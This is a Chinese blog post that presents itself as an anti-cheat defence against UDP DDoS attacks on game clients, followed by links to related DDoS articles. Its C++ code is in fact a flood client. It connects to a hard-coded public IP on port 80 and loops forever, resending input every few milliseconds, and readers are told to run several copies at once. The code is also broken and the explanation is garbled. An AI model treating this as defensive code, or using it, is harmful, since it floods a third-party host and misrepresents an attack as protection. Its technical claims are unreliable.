反外挂 DDos UDP 攻击只需客户端 开着游戏客户端
#include<WINSOCK2.H>
#include<iostream>
#include<string>
using namespace std;
#include<stdlib.h>
#define BUF_SIZE 1377
#pragma comment(lib,"WS2_32.lib") int main()
{
WSADATA wsd;
SOCKET sHost;
SOCKADDR_IN servAddr;//服务器地址
int retVal;//调用Socket函数的返回值
char buf[BUF_SIZE];
//初始化Socket环境
if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0) {
printf("WSAStartup failed!\n");
return 1;
}
//创建监听的Socket
sHost = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (INVALID_SOCKET == sHost) {
printf("socket failed!\n");
WSACleanup();
return -1;
}
//设置服务器Socket地址
servAddr.sin_family = AF_INET;
servAddr.sin_addr.S_un.S_addr = (ULONG)"103.84.110.229";
//在实际应用中,建议将服务器的IP地址和端口号保存在配置文件中
servAddr.sin_port = htons(80);
//计算地址的长度
int sServerAddlen = sizeof(servAddr);
//链接服务器
retVal = connect(sHost, (LPSOCKADDR)&servAddr, sizeof(servAddr)); apple: //向服务器发送字符串,并显示反馈信息
printf("input a string to send:%/0/47/3/3/6;input a st-=177/0;ring to send:%/0/47/3/3/6;input a string to send:%/0/47/3/3/6;input a string to send:%/0/47/3/3/6;input a string to send:%/0/47/3/3/6;input a string to send:%/0/47/3/3/6;");
std::string str; //接收输入的数据
std::getline(std::cin, str); //将用户输入的数据复制到buf中
ZeroMemory(buf, BUF_SIZE);
strcpy_s(buf, str.c_str()); //向服务器发送数据
retVal = send(sHost, buf, strlen(buf), 0);
retVal = send(sHost, buf, strlen(buf), 0); retVal = send(sHost, buf, strlen(buf), 0); retVal = send(sHost, buf, strlen(buf), 0); retVal = send(sHost, buf, strlen(buf), 0); Sleep(13);
retVal = send(sHost, buf, strlen(buf), 0); retVal = send(sHost, buf, strlen(buf), 0); retVal = send(sHost, buf, strlen(buf), 0); Sleep(17);
goto apple; //if (SOCKET_ERROR == retVal) {
// printf("send failed!\n");
// closesocket(sHost);
// WSACleanup();
// return -1;
//}
////接收服务器回传的数据
//retVal = recv(sHost, buf, sizeof(buf) + 1, 0);
//printf("Recv From Server : %s\n", buf);
//if (strcmp(buf, "quit") == 0) {
// printf("quit!\n");
// break;
//} }
原理就是UDP外挂重复向本地客户端发送减法算式字符 还有 倍数算式字符 还加了一堆阻塞网络的随机字母是写死的随机字母
导致本地客户端计算被敌人攻击伤害大量提高,连续UDP 攻击 ,发送方 Sleep 时间短频率太高还有一些特制的简单瞎写的码
用这代码防御 编译生成后 奥特加 F5 独立运行
下次开机 找EXE 运行,可以同时运行多个,开着游戏客户端运行,对方攻击的是游戏客户端,可以开启后在任务管理器中查看网络频谱
代码中不接受对方传来的 错误,防止自己的 return 结束自己的本地防御代码
for 循环内的 break return continiu是有特殊意义的,查一下,非常重要这个 while 双层 for 都得用
反外挂 DDos UDP 攻击只需客户端 开着游戏客户端的更多相关文章
- PHP DDOS的UDP攻击,TCP攻击,和CC攻击的核心代码
网络安全向,请勿用作非法用途 CC攻击模块: <?phpecho “状态 : 正常运行中…..<br>”;echo “================================ ...
- DDoS的攻击方法
DDoS攻击 DDoS攻击的方法 攻击网络带宽资源 我们可以采用对目标的网络带宽资源进行攻击,目的就是浪费对方有限的网络带宽资源,使得目标服务出现网络滞缓直至网络带宽资源匮乏,无法访问或访问速度慢. ...
- 基于御安全APK加固的游戏反外挂方案
一. 前言 随着移动互联网的兴起,移动游戏市场近几年突然爆发,收入规模快速增长.根据第三方数据统计,国内移动游戏2015年市场规模已达514.6亿.由于手游市场强势兴起,而且后续增长势头会愈加猛烈.火 ...
- DDOS的攻击原理和防护指南(转)
DDOS的攻击原理和防护指南 作者:冰盾防火墙 网站:www.bingdun.com 日期:2008-01-07 我们现在来分析DDOS的攻击原理. 首先,DDOS是英文Distribut ...
- DDOS的攻击原理和防护指南
我们现在来分析DDOS的攻击原理. 首先,DDOS是英文Distributed Denial of Service的缩写,意思是分布式拒绝服务.拒绝服务又是什么意思呢?就是采取一些垃圾数据包来阻塞网站 ...
- DDOS的攻击原理和如何防护网站和游戏恶意攻击
DDOS的攻击原理和如何防护网站和游戏恶意攻击 1-DDOS全名是Distribution Denial of Service (分布式拒绝服务攻击),很多DOS攻击源 ...
- 帧同步(LockStep)该如何反外挂
在中国的游戏环境下,反挂已经成为了游戏开发的重中之重,甚至能决定一款游戏的生死,吃鸡就是一个典型的案例.目前参与了了一款动作射击的MOBA类游戏的开发,同步方案上选择了帧同步技术(LockStep而非 ...
- https ddos攻击——由于有了认证和加解密 后果更严重 看绿盟的产品目前对于https的ddos cc攻击需要基于内容做检测
如果web服务器支持HTTPS,那么进行HTTPS洪水攻击是更为有效的一种攻击方式,一方面,在进行HTTPS通信时,web服务器需要消耗更多的资源用来进行认证和加解密,另一方面,一部分的防护设备无法对 ...
- DDOS攻击与防御简单阐述,列出DDOS的攻击方法和防御方法
参考1:https://www.hi-linux.com/posts/50873.html#%E7%BD%91%E7%BB%9C%E5%B1%82-ddos-%E6%94%BB%E5%87%BB 什么 ...
- 放大倍数超5万倍的Memcached DDoS反射攻击,怎么破?
欢迎大家前往腾讯云+社区,获取更多腾讯海量技术实践干货哦~ 作者:腾讯游戏云 背景:Memcached攻击创造DDoS攻击流量纪录 近日,利用Memcached服务器实施反射DDoS攻击的事件呈大幅上 ...
随机推荐
- 5分钟入门Lindorm SearchIndex
简介:SearchIndex是Lindorm宽表的二级索引,主要用来帮助业务实现快速的检索分析.本篇文章介绍如何通过简单的SQL接口操作SearchIndex. 一.引言 云原生多模数据库Lindo ...
- 如何从 0 到 1 开发 PyFlink API 作业
简介: 以 Flink 1.12 为例,介绍如何使用 Python 语言,通过 PyFlink API 来开发 Flink 作业. Apache Flink 作为当前最流行的流批统一的计算引擎,在实时 ...
- Kubernetes 稳定性保障手册:洞察+预案
简介: 稳定性保障是个复杂的话题,需要有效.可迭代.可持续保障集群的稳定性,系统性的方法或许可以解决该问题. 作者 | 悟鹏来源 | 阿里巴巴云原生公众号 <Kubernetes 稳定性保障手册 ...
- dotnet CBB 为什么决定推送 Tag 才能打包
通过推送 Tag 才打 NuGet 包的方法的作用不仅仅是让打包方便,让打包这个动作可以完全在本地执行,无需关注其他系统的使用步骤.更重要的是可以强制每个可能被安装的 NuGet 包版本都能有一个和他 ...
- CMDB开发(一)
一.CMDB前戏 # 项目开发流程 1.需求分析 产品经理 开发人员 客户等三方会议 2.架构设计 框架的选择 语言选择 数据库选择 3.分组开发 小组成员各自开发各自的功能(可能也会有交集) 4. ...
- PostMan接口测试实用小点
PostMan接口测试实用小点 1. 接口测试变量存取操作 在Postman中有很多地方可以存储一些变量,这里只介绍经常使用的环境变量.变量设置后,在UI界面可以通过{{变量名}}获取到对应值. 在环 ...
- Java设计模式-观察者模式-SpringBoot实现
观察者模式 项目:https://gitee.com/KakarottoChen/blog-code.git 的:JavaSpringListener 一.Java观察者模式 Java观察者模式是一种 ...
- [ABC345D] Tiling 位运算の极致运用
[ABC345D] Tiling 原题解地址:Editorial by Kiri8128 神写法. 将 \(H \times W\) 的网格展开为 \(H \times (W + 1)\) 的序列, ...
- linux 系统tar文件压缩打包命令
打包成tar.gz格式压缩包 # tar -zcvf renwolesshel.tar.gz /renwolesshel 解压tar.gz格式压缩包 # tar zxvf renwolesshel.t ...
- iceoryx源码阅读(六)——共享内存创建
目录 1 共享内存的组织 2 共享内存创建 2.1 IceOryxRouDiMemoryManager::createAndAnnounceMemory 2.2 RouDiMemoryManager: ...